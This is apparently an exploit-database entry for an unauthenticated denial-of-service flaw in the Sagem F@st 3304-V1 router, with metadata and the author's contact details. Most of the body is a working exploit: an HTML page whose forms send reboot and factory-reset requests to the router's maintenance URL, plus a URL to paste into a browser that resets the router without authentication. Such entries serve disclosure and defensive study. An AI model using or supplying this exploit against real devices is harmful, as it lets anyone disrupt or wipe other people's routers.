Sagem Fast 3304-V1 - Denial of Service

Author: Z3ro0ne
type: dos
platform: hardware
port: 
date_added: 2014-07-27 
date_updated: 2014-08-06 
verified: 0 
codes: OSVDB-109608 
tags: 
aliases:  
screenshot_url:  
application_url:

# Title              : Sagem F@st 3304-V1 denial of service Vulnerability
# Vendor Homepage    : http://www.sagemcom.com
# Tested on          : Firefox, Google Chrome
# Tested Router      : Sagem F@st 3304-V1
# Date               : 2014-07-26
# Author             : Z3ro0ne
# Contact            : saadousfar59@gmail.com
# Facebook Page      : https://www.facebook.com/Z3ro0ne

# Vulnerability description :
the Vulnerability allow unauthenticated users to remotely restart and reset the router
# Exploit:

<html>
<title>SAGEM FAST3304-V1 DENIAL OF SERVICE</title>
<body>
<FORM ACTION="http://192.168.1.1/SubmitMaintCONFIG?ACTION=R%E9tablir+la+configuration+initiale">
    <INPUT TYPE="SUBMIT" VALUE="REBOOT ROUTER">
  </FORM>
  <FORM ACTION="http://192.168.1.1/SubmitMaintCONFIG?ACTION=R%E9tablir+la+configuration+initiale">
    <INPUT TYPE="SUBMIT" VALUE="FACTORY RESET">
  </FORM>
</body>
</html>
Reset to factory configuration :
--- Using Google Chrome browser :
to reset the router without any authentication just execute the following url http://ROUTER-ipaddress/SubmitMaintCONFIG?ACTION=R%E9tablir+la+configuration+initiale in the url bar